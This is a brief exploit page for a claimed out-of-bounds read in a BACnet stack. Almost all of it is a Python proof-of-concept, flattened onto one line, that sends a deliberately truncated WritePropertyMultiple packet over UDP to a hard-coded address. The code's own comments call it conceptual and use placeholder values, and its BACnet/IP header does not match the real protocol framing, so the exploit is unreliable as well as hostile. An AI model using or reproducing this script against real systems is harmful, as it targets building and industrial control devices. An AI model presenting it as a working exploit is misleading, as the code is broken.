CVE-2026-41475 BACnet Stack越界读取漏洞

import socket import struct # BACnet/IP Header BACNET_IP_PORT = 47808 def create_truncated_wpm_packet(): # BACnet/IP Header: Version(1) + Length(2) + Original NPCI # Simplified header construction for PoC version = 0x01 length = 20 # Arbitrary length less than actual payload needed npci = 0x04 # Who-Is/Other logic placeholder - actual WPM APDU needed # Constructing a malformed WritePropertyMultiple APDU # This is a conceptual PoC, actual BACnet encoding is complex. # We simulate a truncated packet. header = struct.pack('!BBH', version, 0x0, length) # Malformed APDU content (Truncated) # Intended to trigger wpm_decode_object_property payload = b'\x0F' # WritePropertyMultiple service choice payload += b'\x00' # Start of Tag (Opening Tag) payload += b'\x0C' # Object Type (Analog Output) payload += b'\x01' # Instance Number (partial) # Intentionally missing closing bytes to cause OOB read return header + payload def send_poc(target_ip): sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) packet = create_truncated_wpm_packet() try: sock.sendto(packet, (target_ip, BACNET_IP_PORT)) print(f"[+] Malicious packet sent to {target_ip}") except Exception as e: print(f"[-] Error sending packet: {e}") finally: sock.close() if __name__ == "__main__": send_poc("192.168.1.100")